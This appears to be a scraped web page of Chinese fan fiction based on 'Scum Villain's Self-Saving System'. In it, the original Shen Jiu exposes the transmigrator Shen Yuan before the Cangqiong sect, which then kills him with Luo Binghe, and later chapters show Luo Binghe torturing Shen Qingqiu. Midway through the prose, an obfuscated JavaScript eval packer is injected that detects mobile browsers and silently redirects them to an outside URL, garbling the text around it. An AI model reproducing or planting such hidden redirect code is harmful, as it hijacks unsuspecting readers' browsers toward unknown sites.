沈九看眼难得会动脑子的柳清歌,第一次觉得这个人是如此重要。 对于洛冰河来说,沈九和沈垣的最大区别就是一个虐待他,一个温情待他。 可对‘沈清秋’来说,那便是柳清歌是活下来,还是死于沈清秋之手。 有趣吧。一直打来打去的死对头,竟然是沈九和沈垣的生活轨迹里,最重要的人,之一。 “咳。”柳清歌收敛一下十几年都懒得动的思绪,作势要再次拉着沈九。 沈九立刻侧身躲过,不情不愿的回了句“我自己走。”一脚踏入在自己世界早就成为荒地的故土。 两人就那么隔着一步远,一个看着周围环境,一个,看着沈九。 ———— “掌门师兄安好。”柳清歌将人带到岳清源面前,拱手行礼。 沈九满不在乎的与柳清歌拉开距离,眼角余光却一直在打量着岳清源。这个人,随时能令沈九忘却自己身在何方。也是他最为愧疚、能令他干脆放弃生存念头的人。 岳清源一惯温厚的笑着,看着突然来拜访自己的柳清歌,和连招呼都不想跟自己打的沈九,温和回话:“清秋师弟,柳师弟。” 熟悉的声音,一模一样的音腔,过于刺眼的温厚笑容。 沈九眼里蒙上水雾,思念与记忆令他眼皮有些酸涩。这是跨了两辈子的情感第一次得到回应,柳清歌能令他快速区分不同世界,岳七却能随时让他忘却今夕何夕。 只是沈九从不会将脆弱和感动表露出来,所以沈九转身就走。 柳清歌看着侧方之人又准备离开,立刻斜跨一步,用身体阻拦沈九不让他离开。 “怎么,柳公子想跟沈某再打一架?”沈九心情不能说不好,只能说很复杂。他终于得见岳七,可岳七却没有第一时间认出他。那样宽厚的笑容,熟悉的令人厌恶。 也不是说不好。只是…… 如果岳七能第一眼就认出来,沈九会有种被格外在乎之人关心的错觉。 可惜。这些只是他的错觉罢了。 岳清源看着莫名其妙怼起来的两人,心中一闪而过某些怪异,‘沈清秋’身上有种别样的感觉,令他一时之间有些,感叹物是人非。 这种触感就像是偶然故地重游,脑海中自发出现曾经的记忆似的。眼前的柳清歌与沈清秋打斗已经太久不曾发生,所以岳清源会觉得些许异样,也是很正常的。 他连忙站在两人之间进行调和:“清秋师弟,近来可好?” 沈九下意识看岳清源一眼,接着继续漠视,拔剑就要跟柳清歌对打。既然岳清源没有第一时间认出来他,他又何必巴巴的跟岳清源解释什么,还是将怒气发泄到柳清歌身上,和他战个痛快更爽! 反正怒火总要发泄的,要么怼岳清源,要么打柳清歌。岳清源既然没认出来他不是‘此世沈清秋’,沈九自己跳出来解释岂不落了下乘? 看着怎么劝也劝不动,或者说平日里完全不需要劝的两人。还有从进来后就当自己不存在的‘沈清秋’,岳清源难得的,有些无奈和头疼。 这种头疼,早在十几年前就不曾有了。没想到今日又体验了一回,当真是,心累极了。 等等? 他为什么到现在都不曾头疼过? 岳清源瞳孔有些瞪大,快速翻找记忆——沈清秋于灵犀洞中救下走火入魔的柳清歌,两人化干戈为玉帛,真正成为携手兄弟。 但是在此之前…… 或者说,所有人都不敢相信‘沈清秋’会救‘柳清歌’。 岳清源好像碰到了什么最为核心的故事,但这个认知,有些令他忍不住的颤抖。 “小……九?”岳清源的嗓音有些发颤。眼前的一幕过于熟悉又过于生疏,十多年没见过的场景再一次浮现在眼前……令人,简直不敢相信。 沈九原本正和柳清歌斗嘴,听见岳清源这个称呼脑子都炸了,扭头立刻将矛头指向岳清源:“岳清源!劳资说了多少次,不准这么叫!你不配!” 属于他的狂傲七早就死在了为他赴死的路上,这边的渣反七却完全没有认出来他与另一个‘沈清秋’的区别,还在看见他的第一时刻挂出招牌的温厚笑容,心平气和的喊‘清秋师弟’,这样的人,怎配喊他‘小九’? “……”莫名其妙被怼的岳清源,脸上虽然还能勉强挂着温和的微笑,心里却掀起惊涛骇浪。与一旁停住手的柳清歌对视一眼,异口同声的问道:“洛师侄/小畜生在哪?” 沈九看着终于到正戏的两人,眼睛眯了一下,开始飙戏:“谁?” 他不属于这个世界,但这个世界的‘沈清秋’被人占了壳子,挤走了灵魂。一个是不被人记得的灵魂,一个是历经痛苦的身躯,也不知渣反九和狂傲九那个更凄惨一些。 岳清源稳了稳心神,声音沉稳到听不出来破绽:“洛冰河、洛师侄。” 听到这个名字,沈九完全压不住对他的恨意,看着敢向自己问这个人消息的岳清源,心中的怨恨和恶毒完全不做掩饰: “那个小畜生自然在柴房,岳掌门可真是‘宅心仁厚’,不知怎的屈尊降贵,居然关心起一只畜生,还亲切的喊他‘洛师侄’?” ———— 狂傲九其实对苍穹山是留念的。毕竟他的世界里,是洛冰河最后灭的门,又一把火烧掉了清静峰,让沈九彻底失去家园和亲人。 在这个幸福美满的和谐世界里,十二峰真正做到了同气连枝,也做到了携手友爱,互相关心打趣。 只是——献祭了一个没人在乎的灵魂罢了。 若舍一人而平天下,那个人是不是该自发自愿的将自己送上供台? 如果他不愿意,是不是就该背负起灭世之责? 狂傲九在自己世界已经被骂了许久,也背了许久的‘若不是你,苍穹山不会灭门,天下苍生不会为之殉葬’。 现在,看见如此‘盛世’的渣反世界,是不是该压下自己的怨恨与愤慨,默默的游离在众人之外,体会一下‘通天代’留下的结局? 可是凭什么? 那是他的身躯。 那是他的人生。 那是他的一切。 即便他不是这个世界灵魂破碎的渣反九,但也绝对比夺舍于人的沈垣要名正言顺! 即便是他打出满盘皆输、毁灭世界的BE结局,也是属于他自己的TE线! 他从没向外寻求帮助,现在却莫名其妙得到这样的结局,又看见这些跟自己闹的不愉快、却跟另一人笑谈风声的家伙们…… 只觉得刺眼。 你们越温馨,沈九便越可悲。 沈九尽可能平静的重复其他人刚‘讲述’一便的事实: “所以,劳资出门一趟,时间过去十五年?” 沈九兢兢业业的扮演‘黄粱一梦’‘烂柯一梦’的忠实参与者,将什么情况也不明白、记忆完全停留在故事刚开始的形象描绘得淋漓尽致: “那个小杂种突然被人重视,还是魔族血脉,进行了灭世之举。你们放任他与……”沈九斟酌了一下用词,实在不知道怎么称呼才合适:“那个人厮混,败坏我的名声?” 沈九,你要心平气和。这个世界虽然被毁灭过,但现在是幸福美好的,你不要去想着打碎他。 沈九,你要听一下其他人的解释,说不定他们有苦衷,或者能给出令人满意的答案呢? 沈九,你要压制一下心中的不平,毕竟也是一峰之主,随随便便发怒岂不让人看笑话? 沈九手中捏着茶杯,想尝试勾起一个笑容,却怎么也牵不起来。最后他也放弃了,只阴沉着脸,死死的盯着岳清源,看他能给出个什么回复。 “小九——”岳清源有些头疼。 嗯,这件事谁都会头疼。 对于渣反九来说,是出门一趟名被顶了、家被偷了、名声之类都被毁得彻底。 可是对于其他人来说,那就是莫名其妙性情大变的人,又从不知根底的地方跳了出来,还一脸迷茫无语震惊厌恶的看着他们,问他们为什么没发现不对劲。 这—— 很难评。 其实, 他们也曾,开过会的。 只是。 这件事,不能说。 而且那个‘沈清秋’,比面前这个满脸不爽,恨不得跟所有人对着干的家伙,确实要友善和谐、更惹人欣赏、想让人亲近一些。 但,这个满嘴犯贱、伶牙俐齿、刻薄寡恩、抓着他们痛脚将他们说的无地自容的人,又确确实实像是,许多年前的‘沈清秋’。 “呵。”沈九冷哼一声。结局已经很明显了。 这些人打算就这么敷衍一下,随随便便‘认个亲’,接着将他打发掉。 这些人对他是有愧。毕竟两个人如此之明显,只要稍加对比就能发现不同。可这些人却像是瞎子、聋子一样,就那样放任了。 而且,直到现在,也不曾有一个人提出,要将那个‘沈清秋’喊过来对峙或责罚。 毕竟。世界已经太平了,不是吗? 干嘛要因为这件事,再生波澜呢。 而且那个‘沈清秋’的手上有‘洛冰河’这个大杀器,如果真的被撤去‘清静峰峰主’的位置,苍穹山拿什么制约洛冰河? 所以。那个‘沈清秋’,不会被放弃。 那么被放弃的,该是谁呢? 沈九用复杂的神情看着岳清源,如果连岳七都不选择维护‘沈九’,那么这个世界,是真的没意思。 可是岳清源却躲闪了。 岳七躲开了沈九的目光! ‘是啊。’沈九突然笑了起来:‘他不是为他赴死的岳清源,也不是尽力为他善后、却从没得到自己好脸色的岳七。’ 这个世界,当真是无趣透了。 他宁可回自己世界跟洛冰河打个你死我活,也不愿意跟这群瞎了眼的玩意在待那么一刻钟! 看着沈九突然发出的癫狂大笑,岳清源慌慌张张的跟上前来:“小九,我不是——” “清静峰,我不能回去了。对吗?” 沈九手中的杯子已经成为碎片,又被灵力强行束缚着,勉强维持成正常模样。 说的是‘清静峰’,实际上,却是他的名字、他的身份、他的过往荣耀、他与其他人之间的位置。 其实他也不想回去。他嫌脏。 可是他不愿,与其他人不让他回,是截然不同的! 这些人不想让他回,他便偏要回;这些人不想让他看见另一个‘沈清秋’,他便偏要去。不仅要去,更要将对方打杀磨灭到灵魂破碎! 沈九紧盯着岳清源,余光扫视着周围:说什么十二峰同气连枝,与他们协同的,是那个‘沈清秋’吧!如果你们都选择他,我……就…… 沈九满心都是毁灭,眼中尚留着最后一丝的期待:如果岳清源稍微表个态,哪怕是一句谎话,别管谁狂傲九还是渣反九……都会信的。 可惜岳清源即便满脸纠结、最后却什么也没有回答。 不回答,往往就是回答。 因为默认,本就是一种答案。 沈九笑了。 张狂的、放肆的、完全不顾礼节的、癫狂到似乎走火入魔的,放声大笑: “你们一个个的,都不欢迎我。” “表面上装的多怀念过去,心里想念的,却是那个会与你们举杯对饮、温和调笑的‘沈清秋’吧?” “甚至到了现在,连个面都不舍得让我见,是怕他实力不济,被我一剑斩了?” “百战峰峰主还在这呢,苍穹山最高领导也在这呢,就这,都不敢让人露面?” “小九!”岳清源语气加重,有些心疼,还有些不满。他从来都不仅仅是岳七,更是苍穹山的掌门!另一个‘沈清秋’需要稳定具有灭世之能的洛冰河,怎么可能随意交到沈九手里,让他泄气? ‘沈九当真是一如既往的不懂事啊。’看着沈九如此咄咄逼人的样式,岳清源不禁感叹。脑海里,不由自主的想起来现在‘沈清秋’的平和相处、轻松愉快。 “岳清源!”看着明显露出怀念神色的岳清源,沈九笑的眼泪都流出来了:“你现在喊我‘小九’,是不敢喊那个名字吧?” “我到底废了多大努力才爬上清静峰主位,又吃了多少苦、与人打了多少架才换来的名字,结果连你都不愿意喊。” 沈九彻底放弃与他们平和相处的念头,直接开全图骂: “还有你们,连以直率无脑的柳清歌都能看出来的区别,你们这些人能看不出来?不过是不想、不愿罢了。” “那个‘沈清秋’多好啊,会温柔的对你们笑,会轻柔的对你们喊‘师兄师弟’,会跟你们把酒言欢、举杯邀月,会亲身站出来喂养魔族,以身平定天下乱局。” “多好的人啊,多棒的开展啊,多令人省心省力,多适合接触生活啊!” 说到最后,沈九将脸上的狂笑收敛,手中的杯子最终化为碎片散落遍地。这东西早就碎掉了,就算用灵力强撑着伪装,也是假的。 一剑划过,将自己与其他人隔开: “你们那么喜欢他,本尊偏要弄死他。所有阻拦我的人,本尊全部视为敌人,一剑斩之!” 说罢,施展身法,甩袖就走。 刚出门,他却被人拦下了。 沈九看着岳清源都不曾出来,从来都与自己打得你死我活的柳清歌,手中的修雅有些痒。 他不介意在这里,重新杀一次柳清歌。 “你。”柳清歌脸色极其扭曲,一方面他对‘过往沈清秋’有些挂念,一方面又……害怕他伤害将自己真正从灵犀洞里救出来的‘沈清秋’。 两个‘沈清秋’明显不对付,洛冰河的立场很难说会偏向谁——其实柳清歌的立场,也很难说究竟更偏向谁。 只是。柳清歌心中的情感,不允许他就这样将人放走。 ‘就当是为‘沈清秋’解决麻烦吧’柳清歌这样对自己说。讲真,他也不知道是想为哪位‘沈清秋’解决谁的麻烦。 “呵。”沈九也不理睬这个将自己‘抓回来’的人,就当是他带他观光了一圈,对他的一点点回报算了。无非是身边多一个人御剑,沈九还做不出来不让人跟在身边御剑飞行的事情来。 ———— 想要找到这对师徒并不难。毕竟,沈九能感知到修雅剑。 “剑来。” 沈九看着打情骂俏的两人,丝毫感受不到任何吃狗粮、或者希望能与洛冰河一样温柔相处的想法。他与冰哥从来不一样,冰哥会被这两人所‘感动’,沈九却只会感觉恶心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075131|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修雅剑从另一个‘沈清秋’腰间飞出,就像是许久未回家的游子一样,亲昵的蹭着沈九的胳膊。而沈九腰间的另一个修雅,则自发飞出,环绕在沈九身边。 沈垣听见轻微的一声剑鸣,顺着视线望过去,是另一张与自己一模一样却满脸冷厉的面容。 ‘!!!’沈垣下意识右手摸腰,空空荡荡的腰间令他忍不住后退一步:修雅剑,不认他了。 “师尊?”冰妹没得到沈垣的回话,又感受到沈垣后退一步的动作,伸手将对方揽住。摸着自家师尊突然冰凉的手掌,顺着视线看过去。 另一个‘沈清秋’,以及柳清歌。 这两人怎么会搞在一起? 冰妹皱了下眉,先是下意识发怒:‘他师尊怎么又跟柳清歌一块了’,接着感受到手中的凉意惊醒:不对,那个人不是师尊! 冰妹怀里这个是他历经磨难才抓到手里的师尊,面前一步步走过来的,才不是‘沈清秋’! “你是谁?”冰妹将沈垣护在身后,额头火焰印记跳起,手中魔气已聚集完成。这些人绝不是梦境造物,所以这两人究竟怎么找过来的,又为何会与师尊有着一样的脸? “我是谁?”沈九听着这句话,已经在短短一天内回复过多次。这些人啊,明明第一眼就认出有问题,却死活都不愿意相信自觉呢。 也就只有旁边这个。沈九瞥一眼柳清歌。这玩意从不思考其中的弯弯绕绕,从来都是凭借本心,反倒是第一个‘确认’他的。 “那个人你不愿意‘伤害’,打一个魔族的畜生,总是没问题的吧?”沈九淡淡的开口,右手一挥,一道剑气将沈垣和冰妹分开。 柳清歌自觉将乘鸾拔出来,与冰妹到一旁作战。平日里他俩的对战总会被‘沈清秋’打断,今日沈垣自顾不暇,他们倒能战个痛快。 沈九一步步迈向沈垣,笑意冰冷:“我的东西,用着怎么样啊?” 沈垣看着狂傲世界的标准黑化反派,自己腰间的修雅在对方手里跟鲤鱼入水似的欢快,只好用折扇挡着自己,全身紧绷:“你在说什么,什么你的。” 这个时候万般不能承认,否则别说苍穹山、柳清歌这边会不会立刻倒戈,冰妹那边也是大雷! 死不认账?沈九笑了一下,随手用灵力将对方困住,捏着沈垣的天灵盖施加灵力: “失去灵剑、武力压制之下,你竟是一点招式也施展不出来?就你这样的作战能力,怎么敢跟其他人出任务的?” 沈垣只觉得太阳穴涌进大量灵力,仿佛自己的记忆在被人反复抽取。听到沈九的这句话,脑子里不禁想到最早的那次任务——双湖城里,因被初级魔物所绑,扣除了不少b格。 “现代。沈垣。狂傲修真途。” 沈垣听着沈九念出来的几个名字,心跳如打雷。他后悔了,他该给自己的记忆加上十个八个的封印,万万不能让旁人知道这些事! 可为什么冰妹的梦魇读出来的都是沈九记忆,这个人却能读取到沈垣本身的记忆? “呵。”沈九捏着手中之人的喉咙,随便将人仍在地上,另一只手里是虚幻的光圈,看着紧接着赶来的十峰峰主们,沈九笑的张杨: “哟,苍穹山十二峰同气连枝,来得可真是齐全。只是不知,你们所来护着的,是从小一同长大的‘沈清秋’,还是与你们一同对战洛冰河、还以身饲魔的‘沈清秋’呢?” “小九……”“沈九!”“放开他!” “看来你们都知道我是谁。”沈九笑的更开心了。踹了一脚躺地上装死的沈垣,非常友好的发出问询:“你愿不愿意告诉他们,你是谁?” 远方的冰妹和柳清歌已经停下,柳清歌能为沈九抵挡洛冰河已经仁至义尽,没办法真的放任沈九杀害沈垣。 “对哦。”想到刚才两人举案齐眉的样子,沈九满怀恶意的踩了下始终不回答的沈垣:“小畜生,你难道不想知道,这个人为什么会对你好,又为什么宁愿伪装成我的样子,丝毫不敢暴露?” “够了!”洛冰河手中心魔剑起,就要刺向沈九:“师尊就是师尊,你休要在此妖言惑众!” 柳清歌再次将人挡开,望向沈九:“你什么意思?”沈垣对他有救命之恩,他不能放任沈九对他的伤害。但世俗公道自在人心,他也不能随意将此事揭过! 一旁的岳清源安抚好有些浮躁的众人,尽可能平和的问道:“小……”看见沈九不满的眼神,立刻改口:“你发现了什么?” 沈九已经将所有人的期待勾起来,手中虚幻光团正要抛出,忽的又将沈垣抓起来:“最后一次机会,你说,还是我说。” 沈垣不知道沈九究竟都掌握了那些信息,但他相信系统,相信‘沈九’这个原著里被冰哥坑压得死死的反派没办法知道更多事情。万一对方是诈他的,他岂不是自投罗网? 故而,沈垣在此刻表现出非凡的硬气:“我就是沈清秋!” “很好。”沈九没有虐杀俘虏的爱好,与其一剑将人杀死,不如先让人当个明白鬼。他手中的光团被大力捏碎,曾经的过往就这样展现在众人面前。 【我冰哥果然猛,这么多妹子倒贴,一群小弟拜服,这才是我七点男主该有的配置!】 【这个叫‘沈清秋’的怎么敢欺压男主的?大家一起刷屏阉了他!】 【傻x作者傻x文】 【人渣反派自救系统竭诚为您服务】 【贵方ooc会扣除b格,扣除后会被遣返原来世界】 【清秋师弟,你还好吗?】 【夭寿啊,沈清秋这个人渣怎么丢了这么大的烂摊子给我!】 【即便是为师死,你也不会死】 【断手断脚失去舌头和眼睛、被养在坛子里,我要抱冰哥的大腿,绝不能和原装货一样作死!】 【这是被原装货坑死的柳清歌啊,怎么也是个小白脸?】 【飞机兄,这个假死不会出问题吧?】 【凡此种种,一并还你】 【系统,无尽深渊剧情必须走吗?】 记忆并不是完整的,可以说完全没有逻辑的乱跳。但在场众人都是从数万名弟子中选拔出来、一起爬上峰主位的人精,这些东西,已经足够证明。 面前这个‘沈清秋’,他的真名叫‘沈垣’。而他们这里的世界,对他来说,不过是一部话本一场梦。只要‘b格’足够,他随手能返回‘原来的世界’。 怪不得。 众人眼里出现了然。沈垣对有些东西表现的过于了解,可有些常识却又显得过于生疏。 现在想想,无非是‘书中写了和书中没写’。书中那些被着重描写的,沈垣比所有人都了解;而书中那些没写的,沈垣自然……什么也不知道。 当一切遮羞布被去除后,沈垣的脸上瞬间出现灰败。他其实不怕丢掉‘沈清秋’的身份,但他害怕‘夺舍’这个词汇的后续惩罚,以及那些人对他这么多年的情谊,都随着‘他不是正主’而灰飞烟灭。 没错,他不是沈清秋。 可那又如何? 这些年的经历与陪伴是真的。这些年与那些人携手与共、把酒言欢是真的。这些年一起走过的时光和过往,全部都是真的! 凭什么只是换了一个身份,那些人就要狠心将他抛弃,让他‘归还’沈清秋的一切,否认这些年的荣耀与拼搏? 沈清秋自己打出来的满盘皆输,他过来之后打出来全员齐全,沈清秋不向他道谢,现在还要说他是强盗小偷,是何道理? 想到这一点,沈垣扭头看着沈九,就要与他理论。 只是耳边传来一声阴沉又危险的声音,令众人立刻进入备战状态:“所以。我亲爱的师尊,您对我的好,都是‘系统要求’?” ‘冰妹!’沈垣的眼睛瞬间亮了起来。 只要‘洛冰河’在自己手上,这个世界的主角就不会移位,只要主角喜欢,其他的有谁能阻拦? “为师对你好当然是想要对你好,这一点毋庸置疑!”沈垣眼巴巴的看着冰妹,心中万分期待他将一切人打倒,带他走。 “是吗。”冰妹的神情有些复杂,额头的血红色扩展到满脸,显得别样妖邪:“可是师尊说,要抱‘冰哥’大腿。如果弟子记得没错,那个‘冰哥’,好像不是指弟子?” “……”这个沈垣没得解释啊!他怎么会知道看书时候、刚来时候以为会遇见的冰哥,会被自己养成暖糯糯乖巧可人的冰妹? 看着一步步走过来的冰妹,沈垣难得的心跳加速,脑子里不禁想起曾经自曝后掉马,冰妹抱着他说的那句‘师尊,抓到你了’……冰妹虽然看起来温柔,但是他骨子里和冰哥一样可怕啊! 前有黑化版冰妹,后有揭穿自己身份的原装货沈九和苍穹山诸峰主……当真是进退两难,完全没话可说啊! ‘系统!系统!’沈垣已经很久没呼喊过系统了,只是系统在故事结束后再也没出过声,不知道究竟还在不在啊! 随着冰妹的越走越近,沈垣满身是汗。 可当冰妹真的走到某个距离后,却忽然站住了:“弟子从没想过,师尊会想要弟子的性命。” “?”沈垣有些疑惑的抬头,却发现苍穹所属,已经在悄无声息间拉开距离,布好诛杀阵。 “喂!”沈垣看着将自己和冰妹包括在内的阵法,一瞬间寒了心:“虽然我对不起沈九,但是你们总不能要我的命吧?那么些的过往里,你们就这样对我?” “哦?”沈九一剑幻万法,身边围绕着虚幻龙腾:“为大义而死,与你最亲爱的弟子死在一处,不是很合你们心意吗?” 沈九恨沈垣,但杀死一个沈垣并不难,难的是如何解决洛冰河。既然沈垣深陷自己的情绪,洛冰河又被沈垣的态度所吸引,沈九给其他人传递眼色,大家趁机灭魔,才是顶重要的事情。 “可是——”沈垣想解释,看着一旁明显误会的冰妹,一时间也不好拉踩冰妹以求脱身。 冰妹毕竟是主角,不老不死的存在,应该死不掉吧?只要冰妹不死,他就不会死。而只要他不死,有冰妹在,这些人拿他也没办法! 想到这里,沈垣突然理直气壮起来:“你们杀不死我们。” “嗯。”沈九替其他人回答:“我们是杀不死天魔族,所以才会那么厌恶他们。只是别忘了,上一个被我们困杀的,还是他的父亲。而这个人,是个人魔混血的杂种。” “一个纯种天魔都能被灭其躯身、毁其灵魂,他一个半魔,如何抵挡?” “至于你,”沈九身边的另一把修雅直接冲冰妹刺去,其剑意巍峨、剑身自带龙鸣之声:“这具身躯不属于你,即便你灵魂不灭,自当是以本貌、本名存活于世间。” “九天玄雷、化为龙霆,惶惶天威、以剑引之!” 云层快速翻滚,乌云密布之上,是闪烁的惊雷闪电。在众人的引导之下,将阵法中心的一切尽皆击碎。 天道宠儿?世界之子?主角? 他们的世界里,从来不需要为旁人做配。 沈九看眼尚清华,尚清华立刻滑跪:“沈大大,我家大王会管好魔族那些人,你留下我,我不会跟黄瓜兄一样恃宠而骄的!” 虽然搞不懂尚清华嘴里的‘沈大大’是什么,但这个人比沈垣要老实许多。刚才虽然有试图向沈垣传递消息,但总归是配合了他们的诛魔行动。 众人将阵法收拢,地毯式一点点的用灵力试探,务必不能让一丝一毫的魂魄逃出。接着以九转沉香木为引,将两人的灵魂渡到其中。 这两人甭管是真的死不掉,还是已经失去灵魂。将阵法内的所有残余都打扫干净后,这个沉香木会被层层封印在苍穹山的禁地里,定期派人施加新的封层。 至于两人醒来后会如何? 生要同/床,死要同/穴。 既然是恩爱夫妻,自然是不能被他们分开的。 4. 冰哥划破时空,于秋家捞沈九但拒绝养娃 1.遇见沈垣的冰哥直接遇见秋家九 (一)洛冰河告知沈清秋 岳清源死讯 来人!将这把断剑挂在门口,务必要每半个时辰拔下来一次,让沈仙师好生瞻仰瞻仰 ——正文—— “师尊,你看看这个是什么?” 洛冰河饶有兴趣的用断剑挑开沈九的头发,露出那张堪称绝美的脸。 没办法,对于美人,即使再憎恨,也是舍不得对他的脸下手的。 “左不过是你想羞辱我的工具罢了” 沈清秋眼神紧闭,狼狈的躺在地上,仅剩的一只手狠狠攥在一起,指甲早就被拔去,唯有血肉模糊的暗黑色。 看着“不为所动”的沈清秋,洛冰河很有闲情逸致的用断剑在沈清秋的脸上划来划去,看着被自己制造出的细微血痕,愉快的心情更快乐了。 对于懂事的''画布'',洛冰河很给面子,所以他又一次开口劝道: “诶,你睁开眼睛看看啊,说不定看一眼,就改变主意了呢?” “不必” 可惜,沈清秋并不是一个配合的人。所以,洛冰河只好自己动手了。 “嗨,还想让你主动点呢。看来还是得我自己来啊。” 说着,洛冰河亲自动手,用灵力强行帮沈清秋撑开眼皮,将他的脸强行正到自己面前。 “孽障!”沈清秋张口就骂。 对于沈清秋的辱骂,洛冰河就跟听鸟唱曲似的,脸上露出愉悦的表情,用剑面拍了拍沈清秋的眼睛: “师尊,你瞪大眼睛看看,这个是谁的佩剑?” 嗯。这次沈清秋的视线,终于落在断剑上了。 只是吧,反应有点太大了: “岳清源!他怎么了!你对他做了什么?” “哎~多亏了师尊的信呢~不过师尊的字都认不出来了,所以弟子贴心的附上一点点''信物''。岳清源亲自赴宴,弟子也给他准备了剑雨做回礼。” 洛冰河对于沈清秋的疑惑可谓是“有问必答”,同时也给予了评价申请: “不知师尊,可否满意呢?” 当然,沈清秋的评价是得不到了,不过沈清秋的反应还是很让洛冰河满意的。 “你,你滚开!走啊!” 崩溃的沈清秋,果然是洛冰河最爱看的戏码。 所以,他要再加点砝码: “那师尊,这个断剑?” “你又不会给我,何苦拿来问我?”沈清秋痛苦的闭上双眼,仅剩的一条胳膊胡乱挥舞,但怎么样也打不到洛冰河。 “不,弟子还真是诚心拿给你——看,的。” “来人!将这把断剑挂在门口,务必要每半个时辰拔下来一次,让沈仙师好生瞻仰瞻仰。” —————— (二)沈清秋,死了 把沈清秋的尸体扔给无间深渊的魔物们,那个小人的身躯正配给没脑子的杂碎做零食 ——正文—— 回到宫殿里,洛冰河心情很好。 毕竟沈仙师可是个硬骨头,虽一开始被俘的时候一声不吭任绑,可是却从未服软求饶过。期间岳清源曾来过一次,还被他给骂走了。 尤其是对于洛冰河让人施加的刑罚,那可真是除了忍不住,其他都是咬紧牙,完全不带理会的。 洛冰河为了试探,还生生拆了沈清秋的双腿和一臂,疼的他脸都扭曲了,也不曾求饶半分。 对于这样的硬茬子,洛冰河,他,可真是太爱了! 打起来贼有趣的好吗! 完全能满足施暴者的xp! 而且,若是能逼的他骂人,就沈清秋那张嘴,能连骂半小时都不带重复的! 沈清秋的骂声,在洛冰河听起来,那可真是“如听仙乐耳暂明”啊!爽歪歪! 沈清秋的忍痛闷哼声,在洛冰河眼中,简直是难得的鼓励,就像是在催促他''再接再厉''! 没办法,他们两个本就水火不容,沈清秋更是让洛冰河一个喜欢一刀砍杀的爽快人,都忍不住留着他的性命,以待满满欣赏。 —— “尊上,沈清秋他,” 门外突然有侍卫前来报告。 洛冰河刚戏弄完沈清秋,心情很好,所以难得的让侍卫进来,听听看沈清秋那个小人有什么反应。 “那个小人怎么了?” 可惜,侍卫却唯唯诺诺,头恨不得低到地底里: “他,他死了。” “!!!”洛冰河用灵力将前来报信的人吸至眼前:“你再说一遍,谁死了?” 侍卫紧张的汗液直流,丝毫不敢喊‘松手’,只尽可能轻柔的放缓声音: “沈,沈仙师死了……” 洛冰河“唰”的将侍卫扔到地上,发出“砰”的一声巨响: “不可能,我不信,他怎么死的?” 侍卫手脚并用,快速爬起来跪下: “好像是……道心破裂,气绝而亡。” “哇哈哈哈哈!岳清源!岳清源!你就算死了,也能引得沈清秋与你赴死!” 方才还尊贵优雅的魔尊,突然笑的癫狂,弑杀的气息扑面而来,笼罩了整个魔宫: “好啊,沈清秋,沈清秋,你可真,好啊!” “尊上,您……” 侍卫硬着头皮开口,想“自行退下”。 “我好的很,去把沈清秋的尸体扔给无间深渊的魔物们,那个小人的身躯正配给没脑子的杂碎做零食!” 魔尊的眼睛红得似血,额头的天魔印邪光大作,属于魔尊至尊的气息弥撒开来,引得整个魔界都瑟瑟发抖。 侍卫忍着心底的恐慌,拖着两条发软的腿,快速退出魔宫: “是。” —————— (三)冰哥遇见乱入沈垣 甭管是谁,他们的计谋,成功了。 洛冰河,完全无法拒绝对自己''如此温柔''的沈清秋。 ——正文—— “洛冰河?” ‘谁?’洛冰河迷茫的瞳孔骤然收缩,看向来人,那张脸——是沈清秋?他原先满面的杀气,顷刻转化为万分的错愕。 沈清秋却像是没事人似的,看着受伤的洛冰河非但没有拔剑,反而迎了几步,将洛冰河抱在怀里,查看他背部的伤口:“怎么回事?谁干的?” ‘???’洛冰河看着像是完全不怕自己也压根没打算''趁他病要他命''的沈清秋,一时间都怀疑有人想搞美人计了。但他又想了一下自己的状况,甭管对方想干什么,都不可能在这种情况下,让人多近身! “滚!” 谁知沈清秋却边搂洛冰河的腰,边说着“好,我们走。”看样子,真的是想带洛冰河走??? 洛冰河真的被他的操作震惊了!甭管他是谁,顶着沈清秋的脸对自己''温柔备至'',都是能令洛冰河起鸡皮疙瘩的程度! 所以,洛冰河用力推开了来人,并快速扫了一眼周围,打算先背靠墙边,至少后背,不能暴露给敌人! “别闹,为师带你回苍穹山派。” 洛冰河听着来人的蛊惑之语,越发肯定这人是前来引自己出去的''前锋'',他额头青筋暴起,将后背抵在墙壁,做出防御姿态,厉声道:“不去!” 却不料来人像是完全看不懂情形似的,一边说着“都这时候了,还闹什么别扭,先去那边躲一躲”,一边将他的手心贴上洛冰河的背部。 ‘!!!’背后的伤口被人用手抵着,谁知道他会不会趁机下毒手?虽说天魔之血不死不灭,但是也难免有可能暗道翻车的! 洛冰河脸色僵硬,直愣愣的看着一脸担心的''沈清秋'',背后传来一阵和煦而源源不绝的灵力,被一波接一波推送入他体内。 洛冰河心中的疑惑更甚,他忍不住瞳孔紧缩,死死的盯着来人: “沈清秋?” “诶”沈清秋大概是觉得灵力输入的差不多了,拔出修雅,带着洛冰河飞向苍穹山派。 眼前的一切都如此不可思议,不说已经被自己毁掉的修雅剑,身死的沈清秋可是自己亲口下令喂魔物的!难道有人阳奉阴违,敢违背自己的命令? 而且,眼前之人,不怕他? 不仅不怕,好像……还对自己很关心? 这般温柔的师尊。洛冰河,在很小的时候,也是曾幻想过的。 只是……以沈清秋对自己的厌恶,能少打两顿就不错了,还温柔?怕不是自己还在梦中呢! 所以。眼前之人是谁? 是那个势力假借沈清秋的皮囊想拉下自己的至尊之位, 还是……修真界那边狗急跳墙的新计谋? 不得不说,对于洛冰河来说。 甭管是谁,他们的计谋,成功了。 洛冰河,完全无法拒绝对自己''如此温柔''的沈清秋。 哪怕,此刻的沈清秋就算是一刀砍了他,洛冰河也愿意时间永存,多几分的温馨时光。 —————— (四)沈垣与冰哥躺一起 没吃过糖的人,就连正常到人人皆有的权限,都是奢望的。 就像是农人认为皇帝拿着金锄头农耕一样,洛冰河完全不敢想象''沈清秋''能为''洛冰河''做成那样 ——正文—— 